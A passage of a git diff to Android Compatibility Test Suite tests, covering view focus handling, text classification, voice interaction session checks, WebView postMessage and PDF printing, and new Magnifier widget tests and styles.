-import android.util.Log;
import android.view.cts.R;
public class ViewTestCtsActivity extends Activity {
- private boolean mHasWindowFocus = false;
- private final Object mHasWindowFocusLock = new Object();
@Override
protected void onCreate(Bundle icicle) {
super.onCreate(icicle);
setContentView(R.layout.view_layout);
}
-
- @Override
- public void onWindowFocusChanged(boolean hasFocus) {
- super.onWindowFocusChanged(hasFocus);
- if (!hasFocus) {
- Log.w("ViewTestCtsActivity", "ViewTestCtsActivity lost window focus");
- }
- synchronized(mHasWindowFocusLock) {
- mHasWindowFocus = hasFocus;
- mHasWindowFocusLock.notify();
- }
- }
-
- /**
- * Blocks the calling thread until the {@link ViewTestCtsActivity} has window focus or the
- * specified duration (in milliseconds) has passed.
- */
- public boolean waitForWindowFocus(long durationMillis) {
- long elapsedMillis = SystemClock.elapsedRealtime();
- synchronized(mHasWindowFocusLock) {
- mHasWindowFocus = hasWindowFocus();
- while (!mHasWindowFocus && durationMillis > 0) {
- long newElapsedMillis = SystemClock.elapsedRealtime();
- durationMillis -= (newElapsedMillis - elapsedMillis);
- elapsedMillis = newElapsedMillis;
- if (durationMillis > 0) {
- try {
- mHasWindowFocusLock.wait(durationMillis);
- } catch (InterruptedException e) {
- }
- }
- }
- return mHasWindowFocus;
- }
- }
}
diff --git a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
index 21fdd89..ae780fb 100644
--- a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
+++ b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
@@ -227,6 +227,60 @@
@UiThreadTest
@Test
+ public void testEnabledHandling() {
+ Activity activity = mActivityRule.getActivity();
+
+ View v1 = activity.findViewById(R.id.view1);
+ View v2 = activity.findViewById(R.id.view2);
+ View v3 = activity.findViewById(R.id.view3);
+ View v4 = activity.findViewById(R.id.view4);
+
+ for (View v : new View[]{v1, v2, v3, v4}) v.setFocusable(true);
+
+ assertTrue(v1.requestFocus());
+
+ // disabled view should not be focusable
+ assertTrue(v1.hasFocus());
+ v1.setEnabled(false);
+ assertFalse(v1.hasFocus());
+ v1.requestFocus();
+ assertFalse(v1.hasFocus());
+ v1.setEnabled(true);
+ v1.requestFocus();
+ assertTrue(v1.hasFocus());
+
+ // an enabled view should not take focus if not visible OR not enabled
+ v1.setEnabled(false);
+ v1.setVisibility(View.INVISIBLE);
+ assertFalse(v1.hasFocus());
+ v1.setEnabled(true);
+ v1.requestFocus();
+ assertFalse(v1.hasFocus());
+ v1.setEnabled(false);
+ v1.setVisibility(View.VISIBLE);
+ v1.requestFocus();
+ assertFalse(v1.hasFocus());
+ v1.setEnabled(true);
+ v1.requestFocus();
+ assertTrue(v1.hasFocus());
+
+ // test hasFocusable
+ ViewGroup parent = (ViewGroup) v1.getParent();
+ assertTrue(parent.hasFocusable());
+ for (View v : new View[]{v1, v2, v3, v4}) v.setEnabled(false);
+ assertFalse(v1.isFocused());
+ assertFalse(v2.isFocused());
+ assertFalse(v3.isFocused());
+ assertFalse(v4.isFocused());
+ assertFalse(parent.hasFocusable());
+
+ // a view enabled while nothing has focus should get focus.
+ for (View v : new View[]{v1, v2, v3, v4}) v.setEnabled(true);
+ assertEquals(true, v1.isFocused());
+ }
+
+ @UiThreadTest
+ @Test
public void testFocusAuto() {
Activity activity = mActivityRule.getActivity();
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index 71ca678..f066898 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -29,6 +29,7 @@
import android.view.textclassifier.TextClassification;
import android.view.textclassifier.TextClassificationManager;
import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextLinks;
import android.view.textclassifier.TextSelection;
import org.junit.Before;
@@ -42,7 +43,10 @@
private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
private static final int START = 1;
private static final int END = 3;
- private static final String TEXT = "text";
+ // This text has lots of things that are probably entities in many cases.
+ private static final String TEXT = "An email address is test@example.com. A phone number"
+ + " might be +12122537077. Somebody lives at 123 Main Street, Mountain View, CA,"
+ + " and there's good stuff at https://www.android.com :)";
private TextClassificationManager mManager;
private TextClassifier mClassifier;
@@ -57,12 +61,14 @@
@Test
public void testSmartSelection() {
- assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
+ assertValidResult(mClassifier.suggestSelection(TEXT, START, END,
+ new TextSelection.Options().setDefaultLocales(LOCALES)));
}
@Test
public void testClassifyText() {
- assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
+ assertValidResult(mClassifier.classifyText(TEXT, START, END,
+ new TextClassification.Options().setDefaultLocales(LOCALES)));
}
@Test
@@ -70,14 +76,16 @@
mManager.setTextClassifier(TextClassifier.NO_OP);
mClassifier = mManager.getTextClassifier();
- final TextSelection selection = mClassifier.suggestSelection(TEXT, START, END, LOCALES);
+ final TextSelection selection = mClassifier.suggestSelection(TEXT, START, END,
+ new TextSelection.Options().setDefaultLocales(LOCALES));
assertValidResult(selection);
assertEquals(START, selection.getSelectionStartIndex());
assertEquals(END, selection.getSelectionEndIndex());
assertEquals(0, selection.getEntityCount());
final TextClassification classification =
- mClassifier.classifyText(TEXT, START, END, LOCALES);
+ mClassifier.classifyText(TEXT, START, END,
+ new TextClassification.Options().setDefaultLocales(LOCALES));
assertValidResult(classification);
assertNull(classification.getText());
assertEquals(0, classification.getEntityCount());
@@ -88,6 +96,11 @@
}
@Test
+ public void testGenerateLinks() {
+ assertValidResult(mClassifier.generateLinks(TEXT, null));
+ }
+
+ @Test
public void testSetTextClassifier() {
final TextClassifier classifier = mock(TextClassifier.class);
mManager.setTextClassifier(classifier);
@@ -96,6 +109,8 @@
private static void assertValidResult(TextSelection selection) {
assertNotNull(selection);
+ assertTrue(selection.getSelectionStartIndex() >= 0);
+ assertTrue(selection.getSelectionEndIndex() > selection.getSelectionStartIndex());
assertTrue(selection.getEntityCount() >= 0);
for (int i = 0; i < selection.getEntityCount(); i++) {
final String entity = selection.getEntity(i);
@@ -104,6 +119,7 @@
assertTrue(confidenceScore >= 0);
assertTrue(confidenceScore <= 1);
}
+ assertNotNull(selection.getSignature());
}
private static void assertValidResult(TextClassification classification) {
@@ -116,6 +132,23 @@
assertTrue(confidenceScore >= 0);
assertTrue(confidenceScore <= 1);
}
+ assertTrue(classification.getSecondaryActionsCount() >= 0);
+ assertNotNull(classification.getSignature());
+ }
+
+ private static void assertValidResult(TextLinks links) {
+ assertNotNull(links);
+ for (TextLinks.TextLink link : links.getLinks()) {
+ assertTrue(link.getEntityCount() > 0);
+ assertTrue(link.getStart() >= 0);
+ assertTrue(link.getStart() <= link.getEnd());
+ for (int i = 0; i < link.getEntityCount(); i++) {
+ String entityType = link.getEntity(i);
+ assertNotNull(entityType);
+ final float confidenceScore = link.getConfidenceScore(entityType);
+ assertTrue(confidenceScore >= 0);
+ assertTrue(confidenceScore <= 1);
+ }
+ }
}
}
-
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
index 6ada1b8..203be4d 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSession.java
@@ -20,6 +20,7 @@
import android.app.VoiceInteractor.Prompt;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.LauncherApps;
import android.os.AsyncTask;
import android.os.Bundle;
import android.service.voice.VoiceInteractionSession;
@@ -46,6 +47,10 @@
public void onCreate() {
super.onCreate();
Intent sessionStarted = new Intent();
+ sessionStarted.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+ if (!getContext().getSystemService(LauncherApps.class).hasShortcutHostPermission()) {
+ sessionStarted.putExtra("error", "Does not have shortcut permission");
+ }
sessionStarted.setClassName("android.voiceinteraction.cts",
"android.voiceinteraction.cts.VoiceInteractionTestReceiver");
getContext().sendBroadcast(sessionStarted);
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java
index 07236b2..66c945a 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/LocalVoiceInteractionTest.java
@@ -71,7 +71,6 @@
if (!mHasFeature) {
return;
}
- VoiceInteractionTestReceiver.sServiceStartedLatch.await(5, TimeUnit.SECONDS);
assertTrue("Doesn't support LocalVoiceInteraction",
mTestActivity.isLocalVoiceInteractionSupported());
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
index 77c9f26..1abd00f 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
@@ -87,7 +87,7 @@
}
public void testAll() throws Exception {
- VoiceInteractionTestReceiver.sServiceStartedLatch.await(5, TimeUnit.SECONDS);
+ VoiceInteractionTestReceiver.waitSessionStarted(this, 5, TimeUnit.SECONDS);
if (!mHasFeature) {
Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java
index 118f049..7f875c4 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTestReceiver.java
@@ -21,15 +21,31 @@
import android.content.Intent;
import android.util.Log;
+import junit.framework.TestCase;
+
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
public class VoiceInteractionTestReceiver extends BroadcastReceiver {
- public static CountDownLatch sServiceStartedLatch = new CountDownLatch(1);
+ private static CountDownLatch sServiceStartedLatch = new CountDownLatch(1);
+ private static Intent sReceivedIntent;
+
+ public static void waitSessionStarted(TestCase testCase, long timeout, TimeUnit unit)
+ throws InterruptedException {
+ if (!sServiceStartedLatch.await(5, TimeUnit.SECONDS)) {
+ testCase.fail("Timed out waiting for session to start");
+ }
+ String error = sReceivedIntent.getStringExtra("error");
+ if (error != null) {
+ testCase.fail(error);
+ }
+ }
@Override
public void onReceive(Context context, Intent intent) {
Log.i("VoiceInteractionTestReceiver", "Got broadcast that MainInteractionService started");
+ sReceivedIntent = intent;
sServiceStartedLatch.countDown();
}
}
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
index dbfb031..7c6cf53 100644
--- a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
+++ b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/TestApp.java
@@ -135,6 +135,7 @@
private void broadcastResults() {
Intent intent = new Intent(Utils.BROADCAST_INTENT);
+ intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
intent.putExtras(mTotalInfo);
Log.i(TAG, "broadcasting: " + intent.toString() + ", Bundle = " + mTotalInfo.toString());
sendOrderedBroadcast(intent, null, new DoneReceiver(),
diff --git a/tests/tests/webkit/AndroidManifest.xml b/tests/tests/webkit/AndroidManifest.xml
index 83775df..6235c43 100644
--- a/tests/tests/webkit/AndroidManifest.xml
+++ b/tests/tests/webkit/AndroidManifest.xml
@@ -22,7 +22,7 @@
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
- <application android:maxRecents="1">
+ <application android:maxRecents="1" android:usesCleartextTraffic="true">
<provider android:name="android.webkit.cts.MockContentProvider"
android:exported="true"
android:authorities="android.webkit.cts.MockContentProvider" />
diff --git a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
index ecc3e4f..0fa239d 100644
--- a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
@@ -101,12 +101,26 @@
// Post a string message to main frame and make sure it is received.
public void testSimpleMessageToMainFrame() throws Throwable {
+ verifyPostMessageToOrigin(Uri.parse(BASE_URI));
+ }
+
+ // Post a string message to main frame passing a wildcard as target origin
+ public void testWildcardOriginMatchesAnything() throws Throwable {
+ verifyPostMessageToOrigin(Uri.parse("*"));
+ }
+
+ // Post a string message to main frame passing an empty string as target origin
+ public void testEmptyStringOriginMatchesAnything() throws Throwable {
+ verifyPostMessageToOrigin(Uri.parse(""));
+ }
+
+ private void verifyPostMessageToOrigin(Uri origin) throws Throwable {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
}
loadPage(TITLE_FROM_POST_MESSAGE);
WebMessage message = new WebMessage(WEBVIEW_MESSAGE);
- mOnUiThread.postWebMessage(message, Uri.parse(BASE_URI));
+ mOnUiThread.postWebMessage(message, origin);
waitForTitle(WEBVIEW_MESSAGE);
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
index 0708568..688fc33 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
@@ -898,8 +898,8 @@
}
private void clearClientCertPreferences() {
- final AtomicBoolean cleared = new AtomicBoolean(false);
- mOnUiThread.clearClientCertPreferences(new Runnable() {
+ final AtomicBoolean cleared = new AtomicBoolean(false);
+ WebView.clearClientCertPreferences(new Runnable() {
@Override
public void run() {
cleared.set(true);
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
old mode 100755
new mode 100644
index e5939fd..32be1c9
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -27,6 +27,7 @@
import android.graphics.Color;
import android.graphics.Picture;
import android.graphics.Rect;
+import android.graphics.pdf.PdfRenderer;
import android.net.Uri;
import android.os.Bundle;
import android.os.CancellationSignal;
@@ -38,6 +39,7 @@
import android.os.StrictMode;
import android.os.StrictMode.ThreadPolicy;
import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
import android.print.PageRange;
import android.print.PrintAttributes;
import android.print.PrintDocumentAdapter;
@@ -212,6 +214,7 @@
StrictMode.setThreadPolicy(oldPolicy);
}
+ @Presubmit
@UiThreadTest
public void testConstructor() {
if (!NullWebViewUtils.isWebViewAvailable()) {
@@ -272,7 +275,7 @@
assertNotNull(CookieSyncManager.getInstance());
}
- @UiThreadTest
+ // Static methods should be safe to call on non-UI threads
public void testFindAddress() {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
@@ -2562,7 +2565,8 @@
// Called on UI thread
@Override
public void onLayoutFinished(PrintDocumentInfo info, boolean changed) {
- savePrintedPage(adapter, descriptor, result);
+ PageRange[] pageRanges = new PageRange[] {PageRange.ALL_PAGES};
+ savePrintedPage(adapter, descriptor, pageRanges, result);
}
});
try {
@@ -2580,6 +2584,57 @@
}
}
+ // Verify Print feature can create a PDF file with correct number of pages.
+ public void testPrintingPagesCount() throws Throwable {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+ String content = "<html><head></head><body>";
+ for (int i = 0; i < 500; ++i) {
+ content += "<br />abcdefghijk<br />";
+ }
+ content += "</body></html>";
+ mOnUiThread.loadDataAndWaitForCompletion(content, "text/html", null);
+ final PrintDocumentAdapter adapter = mOnUiThread.createPrintDocumentAdapter();
+ printDocumentStart(adapter);
+ PrintAttributes attributes = new PrintAttributes.Builder()
+ .setMediaSize(PrintAttributes.MediaSize.ISO_A4)
+ .setResolution(new PrintAttributes.Resolution("foo", "bar", 300, 300))
+ .setMinMargins(PrintAttributes.Margins.NO_MARGINS)
+ .build();
+ final WebViewCtsActivity activity = getActivity();
+ final File file = activity.getFileStreamPath(PRINTER_TEST_FILE);
+ final ParcelFileDescriptor descriptor = ParcelFileDescriptor.open(file,
+ ParcelFileDescriptor.parseMode("w"));
+ final FutureTask<Boolean> result =
+ new FutureTask<Boolean>(new Callable<Boolean>() {
+ public Boolean call() {
+ return true;
+ }
+ });
+ printDocumentLayout(adapter, null, attributes,
+ new LayoutResultCallback() {
+ // Called on UI thread
+ @Override
+ public void onLayoutFinished(PrintDocumentInfo info, boolean changed) {
+ PageRange[] pageRanges = new PageRange[] {
+ new PageRange(1, 1), new PageRange(4, 7)
+ };
+ savePrintedPage(adapter, descriptor, pageRanges, result);
+ }
+ });
+ try {
+ result.get(TEST_TIMEOUT, TimeUnit.MILLISECONDS);
+ assertTrue(file.length() > 0);
+ PdfRenderer renderer = new PdfRenderer(
+ ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY));
+ assertEquals(5, renderer.getPageCount());
+ } finally {
+ descriptor.close();
+ file.delete();
+ }
+ }
+
public void testVisualStateCallbackCalled() throws Exception {
// Check that the visual state callback is called correctly.
if (!NullWebViewUtils.isWebViewAvailable()) {
@@ -2808,8 +2863,9 @@
}
private void savePrintedPage(final PrintDocumentAdapter adapter,
- final ParcelFileDescriptor descriptor, final FutureTask<Boolean> result) {
- adapter.onWrite(new PageRange[] {PageRange.ALL_PAGES}, descriptor,
+ final ParcelFileDescriptor descriptor, final PageRange[] pageRanges,
+ final FutureTask<Boolean> result) {
+ adapter.onWrite(pageRanges, descriptor,
new CancellationSignal(),
new WriteResultCallback() {
@Override
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index f7fa1d4..052d3b0 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -570,6 +570,14 @@
</intent-filter>
</activity>
+ <activity android:name="android.widget.cts.MagnifierCtsActivity"
+ android:label="MagnifierCtsActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+ </intent-filter>
+ </activity>
+
<receiver android:name="android.widget.cts.appwidget.MyAppWidgetProvider" >
<intent-filter>
<action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
diff --git a/tests/tests/widget/res/layout/autocompletetextview_layout.xml b/tests/tests/widget/res/layout/autocompletetextview_layout.xml
index 793dfb0..32eefb7 100644
--- a/tests/tests/widget/res/layout/autocompletetextview_layout.xml
+++ b/tests/tests/widget/res/layout/autocompletetextview_layout.xml
@@ -18,6 +18,7 @@
android:orientation="vertical"
android:layout_width="match_parent"
android:layout_height="wrap_content">
+ <requestFocus />
<TextView android:id="@+id/autocompletetv_title"
android:layout_width="wrap_content"
diff --git a/tests/tests/widget/res/layout/list_popup_window.xml b/tests/tests/widget/res/layout/list_popup_window.xml
index bcf5893..fd9dcdf 100644
--- a/tests/tests/widget/res/layout/list_popup_window.xml
+++ b/tests/tests/widget/res/layout/list_popup_window.xml
@@ -19,6 +19,7 @@
android:id="@+id/main_container"
android:layout_width="match_parent"
android:layout_height="match_parent">
+ <requestFocus />
<android.widget.cts.MockViewForListPopupWindow
android:id="@+id/anchor_upper_left"
diff --git a/tests/tests/widget/res/layout/magnifier_layout.xml b/tests/tests/widget/res/layout/magnifier_layout.xml
new file mode 100644
index 0000000..989d33d
--- /dev/null
+++ b/tests/tests/widget/res/layout/magnifier_layout.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/magnifier_layout"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content">
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/textview_layout.xml b/tests/tests/widget/res/layout/textview_layout.xml
index d311d75..9c22381 100644
--- a/tests/tests/widget/res/layout/textview_layout.xml
+++ b/tests/tests/widget/res/layout/textview_layout.xml
@@ -383,6 +383,52 @@
android:text="@string/sample_text"
android:justificationMode="inter_word" />
+ <TextView
+ android:id="@+id/textview_textappearance_attrs1"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ style="@null"
+ android:textAppearance="@style/TextAppearance.Xml1" />
+
+ <TextView
+ android:id="@+id/textview_textappearance_attrs2"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ style="@null"
+ android:textAppearance="@style/TextAppearance.Xml2" />
+
+ <TextView
+ android:id="@+id/textview_textappearance_attrs3"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ android:textAppearance="@style/TextAppearance.Xml2"
+ style="@style/TextAppearance.Xml3" />
+
+ <TextView
+ android:id="@+id/textview_textappearance_attrs4"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ style="@style/TextAppearance.Xml3" />
+
+ <TextView
+ android:id="@+id/textview_textappearance_attrs_allcaps_password"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ style="@style/AllCapsPassword" />
+
+ <TextView
+ android:id="@+id/textview_textappearance_attrs_serif_fontfamily"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ android:typeface="serif"
+ android:textAppearance="@style/TextAppearance.Xml2" />
+
</LinearLayout>
</ScrollView>
diff --git a/tests/tests/widget/res/menu/popup_menu.xml b/tests/tests/widget/res/menu/popup_menu.xml
index 29daad0..a2653b4 100644
--- a/tests/tests/widget/res/menu/popup_menu.xml
+++ b/tests/tests/widget/res/menu/popup_menu.xml
@@ -18,12 +18,14 @@
android:title="@string/popup_menu_highlight"
android:contentDescription="@string/popup_menu_highlight_description"
android:tooltipText="@string/popup_menu_highlight_tooltip" />
- <item android:id="@+id/action_edit"
- android:title="@string/popup_menu_edit"
- android:contentDescription="@string/popup_menu_edit_description"
- android:tooltipText="@string/popup_menu_edit_tooltip" />
- <item android:id="@+id/action_delete"
- android:title="@string/popup_menu_delete" />
+ <group android:id="@+id/group_test2">
+ <item android:id="@+id/action_edit"
+ android:title="@string/popup_menu_edit"
+ android:contentDescription="@string/popup_menu_edit_description"
+ android:tooltipText="@string/popup_menu_edit_tooltip" />
+ <item android:id="@+id/action_delete"
+ android:title="@string/popup_menu_delete" />
+ </group>
<item android:id="@+id/action_ignore"
android:title="@string/popup_menu_ignore" />
<item android:id="@+id/action_share"
diff --git a/tests/tests/widget/res/values/styles.xml b/tests/tests/widget/res/values/styles.xml
index a47f169..8d44c7a 100644
--- a/tests/tests/widget/res/values/styles.xml
+++ b/tests/tests/widget/res/values/styles.xml
@@ -109,6 +109,43 @@
<item name="android:textStyle">normal</item>
</style>
+ <style name="TextAppearance.Xml1">
+ <item name="android:textSize">22px</item>
+ <item name="android:typeface">sans</item>
+ <item name="android:textStyle">italic</item>
+ <item name="android:textAllCaps">true</item>
+ <item name="android:letterSpacing">2.4</item>
+ <item name="android:fontFeatureSettings">smcp</item>
+ </style>
+
+ <style name="TextAppearance.Xml2">
+ <item name="android:fontFamily">monospace</item>
+ <item name="android:textStyle">normal</item>
+ <item name="android:shadowColor">@drawable/red</item>
+ <item name="android:shadowDx">10.3</item>
+ <item name="android:shadowDy">0.5</item>
+ <item name="android:shadowRadius">3.3</item>
+ <item name="android:elegantTextHeight">true</item>
+ </style>
+
+ <style name="TextAppearance.Xml3">
+ <item name="android:textSize">32px</item>
+ <item name="android:fontFamily">serif</item>
+ <item name="android:textStyle">bold</item>
+ <item name="android:textAllCaps">false</item>
+ <item name="android:letterSpacing">2.6</item>
+ <item name="android:shadowColor">@drawable/blue</item>
+ <item name="android:shadowDx">1.3</item>
+ <item name="android:shadowDy">10.5</item>
+ <item name="android:shadowRadius">5.3</item>
+ <item name="android:elegantTextHeight">false</item>
+ </style>
+
+ <style name="AllCapsPassword">
+ <item name="android:textAllCaps">true</item>
+ <item name="android:password">true</item>
+ </style>
+
<style name="TestEnum1">
<item name="testEnum">val1</item>
</style>
diff --git a/tests/tests/widget/src/android/widget/cts/GridViewTest.java b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
index 95e3581..189a0c9 100644
--- a/tests/tests/widget/src/android/widget/cts/GridViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
@@ -608,6 +608,7 @@
final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, () -> {
mGridView.setAdapter(new DummyAdapter(1000, theView));
+ mGridView.requestFocus();
});
assertEquals("test sanity", 1, theView.mOnAttachCount);
assertEquals("test sanity", 0, theView.mOnDetachCount);
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierCtsActivity.java b/tests/tests/widget/src/android/widget/cts/MagnifierCtsActivity.java
new file mode 100644
index 0000000..a828c3d
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierCtsActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A minimal application for {@link MagnifierTest}.
+ */
+public class MagnifierCtsActivity extends Activity {
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.magnifier_layout);
+ }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
new file mode 100644
index 0000000..46d3fe5
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
+import android.widget.LinearLayout;
+import android.widget.LinearLayout.LayoutParams;
+import android.widget.Magnifier;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link Magnifier}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MagnifierTest {
+ private Activity mActivity;
+ private LinearLayout mMagnifierLayout;
+
+ @Rule
+ public ActivityTestRule<MagnifierCtsActivity> mActivityRule =
+ new ActivityTestRule<>(MagnifierCtsActivity.class);
+
+ @Before
+ public void setup() {
+ mActivity = mActivityRule.getActivity();
+ PollingCheck.waitFor(mActivity::hasWindowFocus);
+ mMagnifierLayout = mActivity.findViewById(R.id.magnifier_layout);
+ }
+
+ @Test
+ public void testConstructor() {
+ new Magnifier(new View(mActivity));
+ }
+
+ @Test(expected = NullPointerException.class)
+ public void testConstructor_NPE() {
+ new Magnifier(null);
+ }
+
+ @Test
+ @UiThreadTest
+ public void testShow() {
+ View view = new View(mActivity);
+ mMagnifierLayout.addView(view, new LayoutParams(200, 200));
+ Magnifier magnifier = new Magnifier(view);
+ // Valid coordinates.
+ magnifier.show(0, 0);
+ // Invalid coordinates, should both be clamped to 0.
+ magnifier.show(-1, -1);
+ // Valid coordinates.
+ magnifier.show(10, 10);
+ // Same valid coordinate as above, should skip making another copy request.
+ magnifier.show(10, 10);
+ }
+
+ @Test
+ @UiThreadTest
+ public void testDismiss() {
+ View view = new View(mActivity);
+ mMagnifierLayout.addView(view, new LayoutParams(200, 200));
